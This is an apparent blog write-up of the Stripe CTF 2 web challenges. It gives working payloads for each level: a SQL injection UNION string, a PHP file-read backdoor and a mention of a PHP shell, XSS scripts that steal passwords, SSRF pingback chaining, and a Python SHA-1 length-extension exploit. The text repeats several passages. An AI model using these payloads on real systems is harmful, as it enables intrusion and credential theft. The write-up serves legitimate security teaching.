Stripe CTF 2 – Web Challenges
I participated in the Stripe CTF Web Attacks and thus far it was the most well designed CTF I have ever encountered (and I have participated in a couple dozen). This is the second Stripe CTF, the first was exploitation based and this one was web based.
Some Concepts
CTF stands for Capture the Flag, its a genre of games where you have to get past enemy lines and take their flag and bring it back to your base to win a score. Usually hacking games are CTF like, you have to hack a system, find the flag (its a random string) and bring it to your home to get scores for that level.
There are plenty of servers for a CTF host, since many attackers try to just break the servers instead of solving the challenges. Also every participant’s environment has to be secluded to achieve best challenge experiences, so lots of cautious programming on the host side is required.
There are almost always lots of bugs on CTFs due to huge codebases, and hackers tend to hack systems in a way that the host didn’t plan of, and get the score; thus the host people have to watch the event and remove those bugs asap, and to respond to questions and feedbacks of the participants.
How did I do
I participated in this CTF a couple days ago, at midnight. Unfortunately my beloved uncle had just passed away and he had no sons, so I had to take care of much of funeral stuff. I only had a couple hours at midnight (at the cost of not sleeping for the funeral) to participate in this, so I did. I was able to solve 8 out of 9 challenges in almost 3 hours, and left for the funeral chores afterwards.
The 8th question was a little lengthy and I returned to it after almost 30 hours (after the funeral and a brief rest) and solved it in a few hours. Below I’m going to discuss the questions and their answers (how to hack them) as an educational document.
Welcome to Capture the Flag! If you find yourself stuck or want to learn more about web security in general, we’ve prepared a list of helpful resources for you. You can chat with fellow solvers in the CTF chatroom (also accessible in your favorite IRC client at irc://irc.stripe.com:+6697/ctf). We’ll start you out with Level 0, the Secret Safe. The Secret Safe is designed as a secure place to store all of your secrets. It turns out that the password to access Level 1 is stored within the Secret Safe. If only you knew how to crack safes… You can access the Secret Safe at https://level00-2.stripe-ctf.com/user-cqxxidnqrs. The Safe’s code is included below, and can also be obtained via
Here’s the code for
The Solution The web server programming is done via node.js Javascript server-side programming library. If you send some post data (line 45) it parses it and inserts it to the database. If you do a get request (line 30), its gonna dump the pair you have given the key of. Since it uses LIKE in it’s query (line 34) you can use the wildcard character (%) which evaluates true for all strings in the table, so it would dump all the results to the screen, and the one you want is also among them. Keep in mind that it is using prepared statements, so no SQL Injection is possible.
Excellent, you are now on Level 1, the Guessing Game. All you have to do is guess the combination correctly, and you’ll be given the password to access Level 2! We’ve been assured that this level has no security vulnerabilities in it (and the machine running the Guessing Game has no outbound network connectivity, meaning you wouldn’t be able to extract the password anyway), so you’ll probably just have to try all the possible combinations. Or will you…? You can play the Guessing Game at https://level01-2.stripe-ctf.com/user-pwadawuqtd. The code for the Game can be obtained from
After the fiasco back in Level 0, management has decided to fortify the Secret Safe into an unbreakable solution (kind of like Unbreakable Linux). The resulting product is Secret Vault, which is so secure that it requires human intervention to add new secrets. A beta version has launched with some interesting secrets (including the password to access Level 4); you can check it out at https://level03-1.stripe-ctf.com/user-uajtfcvbxh. As usual, you can fetch the code for the level (and some sample data) via
The Karma Trader is the world’s best way to reward people for good deeds: https://level04-4.stripe-ctf.com/user-bivlappzeh. You can sign up for an account, and start transferring karma to people who you think are doing good in the world. In order to ensure you’re transferring karma only to good people, transferring karma to a user will also reveal your password to him or her. The very active user karma_fountain has infinite karma, making it a ripe account to obtain (no one will notice a few extra karma trades here and there). The password for karma_fountain‘s account will give you access to Level 5. You can obtain the full, runnable source for the Karma Trader from
Many attempts have been made at creating a federated identity system for the web (see OpenID, for example). However, none of them have been successful. Until today. The DomainAuthenticator is based off a novel protocol for establishing identities. To authenticate to a site, you simply provide it username, password, and pingback URL. The site posts your credentials to the pingback URL, which returns either “AUTHENTICATED” or “DENIED”. If “AUTHENTICATED”, the site considers you signed in as a user for the pingback domain. You can check out the Stripe CTF DomainAuthenticator instance here:https://level05-2.stripe-ctf.com/user-ttjzfipuud. We’ve been using it to distribute the password to access Level 6. If you could only somehow authenticate as a user of a level05 machine… To avoid nefarious exploits, the machine hosting the DomainAuthenticator has very locked down network access. It can only make outbound requests to other
You have to provide it with some pingback URL that outputs .AUTHENTICATED. when provided with username and password of this form as inputs. Only if this pingback URL is hosted on stripe-ctf.com, it will be accepted (Line 21 ALLOWED_HOSTS).
This part is pretty easy, just upload another PHP file on Challenge 2′s upload section which outputs “.AUTHENTICATED.” and provide it as the pingback URL here. This will get you authenticated since the Regular Expression on line 110 requires One Non-Alphanumeric char at both ends of the word AUTHENTICATED.
Unfortunately, your host (level02-2.stripe-ctf.com) is not in KNOWN_HOSTS (level05-2.stripe-ctf.com) so the script on line 57 won’t show you the password.
So you have to provide some pingback on level05 server, but it doesn’t have any LFI flaws. It doesn’t have anything apart from the page shown in the picture, so it must be there somewhere.
Taking note of the lines 67-70 shows that Sinatra (the Ruby web framework powering this challenge) does not separate GET and POST arguments. It is a well known flaw and exists in some Java installations as well. This means that we don’t have to provide pingback, username and password as POST parameters, we could easily use a GET one to send them. So what if the pingback was this:
Welcome to the penultimate level, Level 7. WaffleCopter is a new service delivering locally-sourced organic waffles hot off of vintage waffle irons straight to your location using quad-rotor GPS-enabled helicopters. The service is modeled after TacoCopter, an innovative and highly successful early contender in the airborne food delivery industry. WaffleCopter is currently being tested in private beta in select locations. Your goal is to order one of the decadent Liège Waffles, offered only to WaffleCopter’s first premium subscribers. Log in to your account at https://level07-2.stripe-ctf.com/user-cyusirmzyz with username
Now what if we had two pieces of data, C and B, each exactly 20 bytes, and we had C=SHA1(A), without actually having A itself, and what we wanted was SHA1(A+B) (plus means concatenation here)? We don’t have A so we can’t first compute A+B and then SHA1 it, but couldn’t we get the final result some other way?
We definitely could, since when we SHA1(A+B), the algorithm first operates on the first 20 bytes, and then continues to do so on second 20 bytes. Now C is the result of first 20 bytes, we just have to keep the machine in that state (instead of the initial state) and feed it with B, to get SHA1(A+B) without having A.
This idea is known as a Hash Length Extension Attack, and works the same even if our data is not exactly a multiple of 20 bytes (we just have to pad zeroes).
Now what I want to add is &user_id=1&waffle=liege& to the end of raw_params so that these new values overwrite the previous ones, thus making the whole request be:
Welcome to the final level, Level 8. HINT 1: No, really, we’re not looking for a timing attack. HINT 2: Running the server locally is probably a good place to start. Anything interesting in the output? UPDATE: If you push the reset button, you will be bounced to a new
Since the code is too much, I’ll describe the scenario. There’s an application that launches and gets a 12 digit password as input. Then it launches 4 different chunk servers, each holding 3 digits of the password. Chunks are respective, i.e chunk 1 has digits 1 to 3.
The application receives requests on a certain endpoint (URL) and outputs a simple JSON string, either {“success”:false} or {“success”:true} depending on whether your input password was right or not.
To check this, the application breaks your input into 4 chunks, sends the first one to chunk server 1 and checks if its valid. If it is, the second part is sent to chunk server 2 for processing and so on. If any of the password chunks are invalid, the processing stops right there.
One more thing, you can ask the application to send the result to your own endpoint (some port on some server) as well as responding it directly back to you. Now this must have something to do with solving the challenge.
Unfortunately, the application only has access to stripe-ctf servers, so you can’t run your endpoint anywhere you like. You have to obtain some endpoint on their network. Well level02 server is still out there.
Obtaining the endpoint server
Well this time you can’t just upload a PHP there. Endpoints should be on some host:port directly, not on some web folder. You have to obtain SSH access to level02 server. To do this, I first uploaded a PHP shell (Jackal) on the server. The server has very limited access as it has been secured to prevent any other means.
Now you have to store your SSH public key on server’s authorized hosts list, so that you can SSH there (it doesn’t accept passwords). To do this, copy the contents of the file ~/.ssh/id_rsa.pub from your computer to ~/.ssh/authorized_keys file on the server using the PHP shell.
Now you can ssh user-stsqneospz@level02-3.stripe-ctf.com and have remote control over it.
Then I used the following Python code to run a webserver as endpoint. This endpoint will do most of the dirty tricks:
Stripe CTF 2 - Web Challenges,
Challenges
I’m going to copy the challenges from Stripe-CTF, then provide the solutions in a section below each of them.Challenge 0 – SQL String Comparison
You completed this level in 312.649 seconds. The password wasoxaMPRwadu.
The solution you submitted was:
% sql like operator
Welcome to Capture the Flag! If you find yourself stuck or want to learn more about web security in general, we’ve prepared a list of helpful resources for you. You can chat with fellow solvers in the CTF chatroom (also accessible in your favorite IRC client at irc://irc.stripe.com:+6697/ctf). We’ll start you out with Level 0, the Secret Safe. The Secret Safe is designed as a secure place to store all of your secrets. It turns out that the password to access Level 1 is stored within the Secret Safe. If only you knew how to crack safes… You can access the Secret Safe at https://level00-2.stripe-ctf.com/user-cqxxidnqrs. The Safe’s code is included below, and can also be obtained via
git clone https://level00-2.stripe-ctf.com/user-cqxxidnqrs/level00-code.
Here’s the code for
level00.js, the main server file:
level00.html, its mustache.js template:
The Solution The web server programming is done via node.js Javascript server-side programming library. If you send some post data (line 45) it parses it and inserts it to the database. If you do a get request (line 30), its gonna dump the pair you have given the key of. Since it uses LIKE in it’s query (line 34) you can use the wildcard character (%) which evaluates true for all strings in the table, so it would dump all the results to the screen, and the one you want is also among them. Keep in mind that it is using prepared statements, so no SQL Injection is possible.
Challenge 1 – PHP Input Validation
You completed this level in 449.956 seconds. The password wasFrXHxPWtlg.
The solution you submitted was:
provide filename and attempt both empty on get params
Excellent, you are now on Level 1, the Guessing Game. All you have to do is guess the combination correctly, and you’ll be given the password to access Level 2! We’ve been assured that this level has no security vulnerabilities in it (and the machine running the Guessing Game has no outbound network connectivity, meaning you wouldn’t be able to extract the password anyway), so you’ll probably just have to try all the possible combinations. Or will you…? You can play the Guessing Game at https://level01-2.stripe-ctf.com/user-pwadawuqtd. The code for the Game can be obtained from
git clone https://level01-2.stripe-ctf.com/user-pwadawuqtd/level01-code, and is also included below.
The contents of index.php:
Challenge 2 – Local File Inclusion (LFI)
You completed this level in 282.218 seconds. The password was
You are now on Level 2, the Social Network. Excellent work so far! Social Networks are all the rage these days, so we decided to build one for CTF. Please fill out your profile at https://level02-3.stripe-ctf.com/user-shjuxdnipi. You may even be able to find the password for Level 3 by doing so. The code for the Social Network can be obtained from
Solution
This one is pretty easy and dangerous, but since we need it in our next challenges stay sharp.
There’s a file password.txt with webserver deny access, it means that you can not access it via the webserver on your browser. There’s also a dialog to upload your photo, and it puts that in ./uploads/ folder. No checking is done on the upload process, so you can easily upload a PHP file, e.g backdoor.php containing the code :
eAepnsrRXY.
The solution you submitted was:
upload a file.php with echo file_get_contents("../password.txt"); browse to it voila.
You are now on Level 2, the Social Network. Excellent work so far! Social Networks are all the rage these days, so we decided to build one for CTF. Please fill out your profile at https://level02-3.stripe-ctf.com/user-shjuxdnipi. You may even be able to find the password for Level 3 by doing so. The code for the Social Network can be obtained from
git clone https://level02-3.stripe-ctf.com/user-shjuxdnipi/level02-code, and is also included below.
The contents of index.php:
<?php echo file_get_contents(“../password.txt”);Then just browse to ./uploads/backdoor.php and see the password on the screen. Actually we can upload anything here even a backdoor shell to access everything on this server, and we’re gonna need it later. This scenario happens on many real world cases.
Challenge 3 – SQL Injection Union Bypassing
You completed this level in 1333.633 seconds. The password wasLDeVchKFIV.
The solution you submitted was:
' and 1=0 union all select (select id from users where username='bob'),'d74ff0ee8da3b9806b18c877dbf29bbde50b5bd8e4dad7a3a725000feb82e8f1','' -- enter this as username and "pass" as password
After the fiasco back in Level 0, management has decided to fortify the Secret Safe into an unbreakable solution (kind of like Unbreakable Linux). The resulting product is Secret Vault, which is so secure that it requires human intervention to add new secrets. A beta version has launched with some interesting secrets (including the password to access Level 4); you can check it out at https://level03-1.stripe-ctf.com/user-uajtfcvbxh. As usual, you can fetch the code for the level (and some sample data) via
git clone https://level03-1.stripe-ctf.com/user-uajtfcvbxh/level03-code, or you can read the code below.
The source of the server, secretvault.py, is:
index.html, the HTML file it’s serving:
‘ and 1=0 union all select (select id from users where username=’bob’), ‘d74ff0ee8da3b9806b18c877dbf29bbde50b5bd8e4dad7a3a725000feb82e8f1′,” –The above text is a single-line one. It makes the whole query become:
SELECT id, password_hash, salt FROM users
WHERE username = '{0}' and 1=0 union all select (select id from users where username='bob'),'d74ff0ee8da3b9806b18c877dbf29bbde50b5bd8e4dad7a3a725000feb82e8f1','' -- ' LIMIT 1
Since the first select returns nothing (due to AND 1=0 condition), union jumps off and the second query’s result is returned as the whole result set. The second query returns bob_user_id,SHA256(‘pass’),empty_slat respectively.
The — part makes sure that everything that comes after our injection is commented and has no effect (will not cause SQL error).
Now you are logged in as bob, and you can simply view his secret.
Challenge 4 – Simple CSRF
You completed this level in 1182.214 seconds. The password wasXtoqkPHnaM. The solution you submitted was: create base user abx create a user with this pass: var x=document.forms[0]; x.to.value='abx'; x.amount.value='1'; x.submit(); send karma to fountain with that one, wait one minute. login to abx
The Karma Trader is the world’s best way to reward people for good deeds: https://level04-4.stripe-ctf.com/user-bivlappzeh. You can sign up for an account, and start transferring karma to people who you think are doing good in the world. In order to ensure you’re transferring karma only to good people, transferring karma to a user will also reveal your password to him or her. The very active user karma_fountain has infinite karma, making it a ripe account to obtain (no one will notice a few extra karma trades here and there). The password for karma_fountain‘s account will give you access to Level 5. You can obtain the full, runnable source for the Karma Trader from
git clone https://level04-4.stripe-ctf.com/user-bivlappzeh/level04-code. We’ve included the most important files below. The contents of srv.rb:
views/home.erb:
views/login.erb:
views/register.erb:
views/layout.erb:
<script> var x=document.forms[0]; x.to.value=’abx’; x.amount.value=’1′; x.submit(); </script>We can put all these four lines into a single line, I have separated them here for the sake of readability. The first line assigns variable x to the first form in the page (which is the one for sending karma to other people). The second line sets its to field to my username, the third one sets some karma amount. The forth line submits the form. If we could get karma_fountain to somehow run this Javascript code unknowingly, we would have his password. Now first I thought of creating another user with this script as his username, but that was failed since only alphanums are allowed in usernames. Then I understood that I could set this script as the new user’s password, and then send some karma from him to karma_fountain so that it would see (have run) this script on his page. Thus I created a user name screwer with password of the above script (in a single line). Logged in and sent some karma to karma_fountain. Then I logged out and back in as abx. Sat there for a minute or two (to let karma_fountain check his page) and refreshed the page. There was the password of karma fountain on the bottom. (You can’t see the password in the following image, you have to browse the webpages source code. The script is being run and it stops the output.)
Challenge 5 – Chain Request Manipulation
You completed this level in 6528.572 seconds. The password wasZEAorpaRyV.
The solution you submitted was:
I was stuck here for 2 hours only cuz i didnt know default Ruby regex is not multiline, as is in PHP.
Many attempts have been made at creating a federated identity system for the web (see OpenID, for example). However, none of them have been successful. Until today. The DomainAuthenticator is based off a novel protocol for establishing identities. To authenticate to a site, you simply provide it username, password, and pingback URL. The site posts your credentials to the pingback URL, which returns either “AUTHENTICATED” or “DENIED”. If “AUTHENTICATED”, the site considers you signed in as a user for the pingback domain. You can check out the Stripe CTF DomainAuthenticator instance here:https://level05-2.stripe-ctf.com/user-ttjzfipuud. We’ve been using it to distribute the password to access Level 6. If you could only somehow authenticate as a user of a level05 machine… To avoid nefarious exploits, the machine hosting the DomainAuthenticator has very locked down network access. It can only make outbound requests to other
stripe-ctf.com servers. Though, you’ve heard that someone forgot to internally firewall off the high ports from the Level 2 server.
Interesting in setting up your own DomainAuthenticator? You can grab the source from git clone https://level05-2.stripe-ctf.com/user-ttjzfipuud/level05-code, or by reading on below.
The contents of srv.rb:
You have to provide it with some pingback URL that outputs .AUTHENTICATED. when provided with username and password of this form as inputs. Only if this pingback URL is hosted on stripe-ctf.com, it will be accepted (Line 21 ALLOWED_HOSTS).
This part is pretty easy, just upload another PHP file on Challenge 2′s upload section which outputs “.AUTHENTICATED.” and provide it as the pingback URL here. This will get you authenticated since the Regular Expression on line 110 requires One Non-Alphanumeric char at both ends of the word AUTHENTICATED.
Unfortunately, your host (level02-2.stripe-ctf.com) is not in KNOWN_HOSTS (level05-2.stripe-ctf.com) so the script on line 57 won’t show you the password.
So you have to provide some pingback on level05 server, but it doesn’t have any LFI flaws. It doesn’t have anything apart from the page shown in the picture, so it must be there somewhere.
Taking note of the lines 67-70 shows that Sinatra (the Ruby web framework powering this challenge) does not separate GET and POST arguments. It is a well known flaw and exists in some Java installations as well. This means that we don’t have to provide pingback, username and password as POST parameters, we could easily use a GET one to send them. So what if the pingback was this:
https://level05-2.stripe-ctf.com/user-ttjzfipuud?pingback=https://level02-3.stripe-ctf.com/user-shjuxdnipi/uploads/authenticatede.phpWhat would this do? It would make the application send a pingback to level05 server, asking if we are authenticated. Level05 server would chain this pingback to level02 server, to get it’s response as well and output it. Now level02 will provide .AUTHENTICATED. and level05 server would return this, with a few words before and after:
Remote server responded with: .AUTHENTICATED..Authenticated as username@level02-3.stripe-ctf.com!
This is the output given by the first pingback (level05 server), and is taken as input into the application. Unfortunately, this string would not pass the regex at line 110, because it has alphanumeric characters before AUTHENTICATED.
This step had me stuck there for a couple hours, but then I realized that Ruby regexs operate on single lines, not all the text; i.e the regex checks every line of the output string and if any of them is valid, validates. So I just had to change uploaded PHP script to output \rAUTHENTICATED\r instead of dots, to make this string the input to the application:
Remote server responded with:AUTHENTICATED.Authenticated as username@level02-3.stripe-ctf.com!
Now this one passes the regex check, and you’re authenticated to see the password.
Challenge 6 – XSS with Bypassing
You completed this level in 4769.346 seconds. The password was
After Karma Trader from Level 4 was hit with massive karma inflation (purportedly due to someone flooding the market with massive quantities of karma), the site had to close its doors. All hope was not lost, however, since the technology was acquired by a real up-and-comer, Streamer. Streamer is the self-proclaimed most steamlined way of sharing updates with your friends. You can access your Streamer instance here: https://level06-2.stripe-ctf.com/user-nmqpuylekv The Streamer engineers, realizing that security holes had led to the demise of Karma Trader, have greatly beefed up the security of their application. Which is really too bad, because you’ve learned that the holder of the password to access Level 7, level07-password-holder, is the first Streamer user. As well, level07-password-holder is taking a lot of precautions: his or her computer has no network access besides the Streamer server itself, and his or her password is a complicated mess, including quotes and apostrophes and the like. Fortunately for you, the Streamer engineers have decided to open-source their application so that other people can run their own Streamer instances. You can obtain the source for Streamer at
Solution
This one is a pretty nasty one. It requires a considerable XSS encoded to bypass some security checks, like those that are found here and there in Google and Facebook.
This app is a something like Twitter, there are a bunch of users registered in there, and everyone can post something. The posts consist of Titles and Bodys. The posting mechanism uses AJAX to make things a little harder.
There is no reset password feature in this, but if you click on your username on the right sidebar, another page pops up showing you your password:
So our Javascript snippet intended for XSS use, would have to first open this page (https://level06-2.stripe-ctf.com/user-nmqpuylekv/user_info) then use a regex to extract the password bit off it. It is stated in the question that password contains special chars such as quotations and apostrophes.
Then the XSS snippet would have to post this password as body via AJAX so that other users (hence us) could see it. Since the posting mechanism rejects any message that contains quotations and apostrophes, the snippet would have to escape those characters first and then submit it.
Also because of the rejection mechanism, the snippet couldn’t use quotations and apostrophes (which are very common in every programming language) to be able to be posted and run by other users.
To make things worse, the messages are not displayed directly on the page by Ruby, instead they are stored as JSON in some Javascript snippet, and then read off one by one with another Javascript snippet and added to page, so what we inject gets inserted in the middle of some Javascript code:
'UomQaKdVQhrI".
The solution you submitted was:
omfg this took a lot and was soo damn hard
After Karma Trader from Level 4 was hit with massive karma inflation (purportedly due to someone flooding the market with massive quantities of karma), the site had to close its doors. All hope was not lost, however, since the technology was acquired by a real up-and-comer, Streamer. Streamer is the self-proclaimed most steamlined way of sharing updates with your friends. You can access your Streamer instance here: https://level06-2.stripe-ctf.com/user-nmqpuylekv The Streamer engineers, realizing that security holes had led to the demise of Karma Trader, have greatly beefed up the security of their application. Which is really too bad, because you’ve learned that the holder of the password to access Level 7, level07-password-holder, is the first Streamer user. As well, level07-password-holder is taking a lot of precautions: his or her computer has no network access besides the Streamer server itself, and his or her password is a complicated mess, including quotes and apostrophes and the like. Fortunately for you, the Streamer engineers have decided to open-source their application so that other people can run their own Streamer instances. You can obtain the source for Streamer at
git clone https://level06-2.stripe-ctf.com/user-nmqpuylekv/level06-code. We’ve also included the most important files below.
The contents of srv.rb:
views/home.erb:
views/login.erb:
views/register.erb:
views/layout.erb:
views/user_info.erb:
var username = “abx”; var post_data = [{"time":"Fri Aug 24 12:25:13 +0000 2012","title":"Might want to take note","user":"level07-password-holder","id":null,"body":"Anyone want to play tennis?"},{"time":"Fri Aug 24 12:27:34 +0000 2012","title":"FYI","user":"level07-password-holder","id":null,"body":"Why is it so hard to find good juice restaurants?"},{"time":"Fri Aug 24 13:17:37 +0000 2012","title":"Definitely of interest","user":"level07-password-holder","id":null,"body":"Anyone want to play tennis?"},{"time":"Fri Aug 24 13:21:23 +0000 2012","title":"An FYI","user":"level07-password-holder","id":null,"body":"I am hungry"},{"time":"Sun Aug 26 01:24:24 +0000 2012","title":"SAMPLE TITLE","user":"abx","id":null,"body":"SAMPLE BODY"}]; function escapeHTML(val) { return $(‘<div/>’).text(val).html(); } function addPost(item) { var new_element = ‘<tr><th>’ + escapeHTML(item['user']) + ‘</th><td><h4>’ + escapeHTML(item['title']) + ‘</h4>’ + escapeHTML(item['body']) + ‘</td></tr>’; $(‘#posts > tbody:last’).prepend(new_element); } for(var i = 0; i < post_data.length; i++) { var item = post_data[i]; addPost(item);Whatever we enter, goes where you can see SAMPLE BODY now. I crafted the following snippet to do the dirty XSS job for me:
</script> <script> var temp=new String(); var ajax_uri=String.fromCharCode(46, 47, 117, 115, 101, 114, 95, 105, 110, 102, 111); var content_tag=String.fromCharCode(35, 99, 111, 110, 116, 101, 110, 116); var title_tag=String.fromCharCode(35, 116, 105, 116, 108, 101); var submit_tag=String.fromCharCode(35, 110, 101, 119, 95, 112, 111, 115, 116); $.get(ajax_uri,function(data){ temp=data.match(/<td>([^al].*)</)[1]; temp=temp.replace(String.fromCharCode(39),String.fromCharCode(66, 79, 90)); temp=temp.replace(String.fromCharCode(34),String.fromCharCode(66,79,89)); $(content_tag).val(temp); $(title_tag).val(title_tag); $(submit_tag).submit(); }); //This one is also a one-liner but have been separated for readability here. Now let me explain this XSS to you. First we have temp, we are going to store our password in it. Then we have 4 variables, containing the strings “./user_info”, “#content”, “#title”, “#submit”. We had to populate them using fromCharCode to not use quotation marks on our code, otherwise it would be rejected. The next line performs an AJAX GET request on user_info page, containing the user password. The regular expression extracts the password part. Unfortunately we couldn’t use backslash (\) in our snippet too, because Ruby automatically escapes that, so we couldn’t use multiline Regular Expressions. This one gets the password plus the rest of its line, but to the human eye it is obvious. Then we replace instances of quotation marks and apostrophes with string BOZ and BOY respectively so that the password could be posted as a message. Then the form is filled using jQuery, and submitted to make the post appear. We had to do first and last line, because we’re injecting in the middle of a Javascript string. Fortunately, browsers first render HTML and then parse Javascript, so when the document is made like this:
<script>var post_data = [{"time":"Fri Aug 24 12:25:13 +0000 2012","title":"Might want to take note","user":"level07-password-holder","id":null,"body":"Anyone want to play tennis?"},{"time":"Fri Aug 24 12:27:34 +0000 2012","title":"FYI","user":"level07-password-holder","id":null,"body":"Why is it so hard to find good juice restaurants?"},{"time":"Fri Aug 24 13:17:37 +0000 2012","title":"Definitely of interest","user":"level07-password-holder","id":null,"body":"Anyone want to play tennis?"},{"time":"Fri Aug 24 13:21:23 +0000 2012","title":"An FYI","user":"level07-password-holder","id":null,"body":"I am hungry"},{"time":"Sun Aug 26 01:24:24 +0000 2012","title":"SAMPLE TITLE","user":"abx","id":null,"body":"</script><script>var temp=new String();var ajax_uri=String.fromCharCode(46, 47, 117, 115, 101, 114, 95, 105, 110, 102, 111);var content_tag=String.fromCharCode(35, 99, 111, 110, 116, 101, 110, 116);var title_tag=String.fromCharCode(35, 116, 105, 116, 108, 101);var submit_tag=String.fromCharCode(35, 110, 101, 119, 95, 112, 111, 115, 116);$.get(ajax_uri,function(data){temp=data.match(/<td>([^al].*)</)[1];temp=temp.replace(String.fromCharCode(39),String.fromCharCode(66, 79, 90));temp=temp.replace(String.fromCharCode(34),String.fromCharCode(66,79,89));$(content_tag).val(temp);$(title_tag).val(title_tag);$(submit_tag).submit();}); //“}]; </script>First HTML is parsed, making this lot two separate Javascript tags, then Javascript parser starts, which detects the first part as buggy and non-parsable but runs the second part validly. The // (comment symbol) we used at the end of our snippet is meant to mask the rest of the Javascript so that it has valid syntax. Now you post this snippet, wait a couple minutes, refresh the page, browse the source code and see this:
{“time”:”Sun Aug 26 01:34:19 +0000 2012″,”title”:”#title”,”user”:”level07-password-holder”,”id”:null,”body”:”BOZUomQaKdVQhrIBOY”}Enjoy the password!
Challenge 7 – Cryptographic Hash Extension
You completed this level in 4968.437 seconds. The password wasehQUKKkphF.
The solution you submitted was:
import requests import hashlib import json import sys import urllib body="count=10&lat=37.351&user_id=1&long=-119.827&waffle=eggo\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02(&waffle=liege|sig:5fe73d0cbd3b4e82f9b87970041851d232e757cd"; resp= requests.post("https://level07-2.stripe-ctf.com/user-cyusirmzyz/orders",data=body); print resp.text; fAk u for this hard one
Welcome to the penultimate level, Level 7. WaffleCopter is a new service delivering locally-sourced organic waffles hot off of vintage waffle irons straight to your location using quad-rotor GPS-enabled helicopters. The service is modeled after TacoCopter, an innovative and highly successful early contender in the airborne food delivery industry. WaffleCopter is currently being tested in private beta in select locations. Your goal is to order one of the decadent Liège Waffles, offered only to WaffleCopter’s first premium subscribers. Log in to your account at https://level07-2.stripe-ctf.com/user-cyusirmzyz with username
ctf and password password. You will find your API credentials after logging in. You can fetch the code for the level via
git clone https://level07-2.stripe-ctf.com/user-cyusirmzyz/level07-code, or you can read it below. You may find the sample API client in client.py particularly helpful.
The contents of client.py:
wafflecopter.py:
db.py:
settings.py:
initialize_db.py:
templates/index.html:
templates/login.html:
templates/logs.html:
count=1&lat=100&user_id=5&long=100&waffle=eggo|sig:36c698a40093329045ca293d6e0c985411d366d1On a certain endpoint (URL) and sends you a waffle! The request describes the number of waffles, latitude and longitude of the target, the user_id requesting it and the type of waffle. There are three waffle types only served to premium users, one of them is named liege. We are not a premium user but we have to make a valid order for liege to get our flag. If you simply order a liege on your user_id, you would get
And if you provide user_id as 1 (a premium user), you would get:that waffle requires a premium subscription
This means that the system uses some sort of Message Authentication Control (aka signature) to validate it’s source. Now every user has a secret key used to sign his requests and make a signature, so that the server could verify it. The server uses the following code to validate the signature:signature check failed
def verify_signature(user_id, sig, raw_params):
# get secret token for user_id
try:
row = g.db.select_one('users', {'id': user_id})
except db.NotFound:
raise BadSignature('no such user_id')
secret = str(row['secret'])
h = hashlib.sha1()
h.update(secret + raw_params)
print 'computed signature', h.hexdigest(), 'for body', repr(raw_params)
if h.hexdigest() != sig:
raise BadSignature('signature does not match')
return True
It retrieves user’s secret from the database, generates sha1(secret + raw_params) and compares it against the sent signature. raw_params is also the part of the request before the | sign (the whole request without the signature).
If two signatures match, it’s authentic, otherwise error is popped. Now this mechanism is called HMAC but it is wrongly implemented. Read this section of wikipedia to know why you should use SHA1(secret + SHA1(secret+message)) instead of what is happening in this one.
I’m going to describe it here as well, since this is the key to the challenge. A cryptographic hash function is a state machine, fed with some initial values (defined in the description of algorithm), then the data is chunked into same-size blocks and fed to the machine. SHA-1 for example operates on chunks of 160 bit each, so if our input is not a multiple of 20 bytes, it will be padded with zeroes to be so. The SHA1 machine is depicted below:
count=1&lat=100&user_id=5&long=100&waffle=eggo&user_id=1&waffle=liege&|sig:Why wouldn’t I just replace them? Because I can only compute the new signature if I concatenate new things to the request, not when I change it. Now using the idea above and some piece of code, the new request would be:
count=10&lat=37.351&user_id=1&long=-119.827&waffle=eggo\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02(&waffle=liege|sig:5fe73d0cbd3b4e82f9b87970041851d232e757cdThose \x00 above mean a character with the ASCII value of zero, and since I can not show them on terminal, I used the following Python code snippet to send this request to server:
import requests import hashlib import json import sys import urllib body=”count=10&lat=37.351&user_id=1&long=-119.827&waffle=eggo\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02(&waffle=liege|sig:5fe73d0cbd3b4e82f9b87970041851d232e757cd”; resp= requests.post(“https://level07-2.stripe-ctf.com/user-cyusirmzyz/orders”,data=body); print resp.text;This nice little code would output the flag for the next challenge!
Challenge 8 – Networking Side Channel Attack
You completed this level in 98035.439 seconds. The password was165774000681.
The solution you submitted was:
took a looong time! lots of scripts all there on server2
Welcome to the final level, Level 8. HINT 1: No, really, we’re not looking for a timing attack. HINT 2: Running the server locally is probably a good place to start. Anything interesting in the output? UPDATE: If you push the reset button, you will be bounced to a new
level08 machine. Note that this will change the value of your Flag. If you push reset on Level 2, you will similarly be bounced to a new Level 2 machine.
Because password theft has become such a rampant problem, a security firm has decided to create PasswordDB, a new and secure way of storing and validating passwords. You’ve recently learned that the Flag itself is protected in a PasswordDB instance, accesible athttps://level08-4.stripe-ctf.com/user-stsqneospz/.
PasswordDB exposes a simple JSON API. You just POST a payload of the form {"password": "password-to-check", "webhooks": ["mysite.com:3000", ...]} to PasswordDB, which will respond with a{"success": true}" or {"success": false}" to you and your specified webhook endpoints.
(For example, try running curl https://level08-4.stripe-ctf.com/user-stsqneospz/ -d '{"password": "password-to-check", "webhooks": []}'.)
In PasswordDB, the password is never stored in a single location or process, making it the bane of attackers’ respective existences. Instead, the password is “chunked” across multiple processes, called “chunk servers”. These may live on the same machine as the HTTP-accepting “primary server”, or for added security may live on a different machine. PasswordDB comes with built-in security features such as timing attack prevention and protection against using unequitable amounts of CPU time (relative to other PasswordDB instances on the same machine).
As a secure cherry on top, the machine hosting the primary server has very locked down network access. It can only make outbound requests to other stripe-ctf.com servers. As you learned in Level 5, someone forgot to internally firewall off the high ports from the Level 2 server. (It’s almost like someone on the inside is helping you — there’s an sshd running on the Level 2 server as well.)
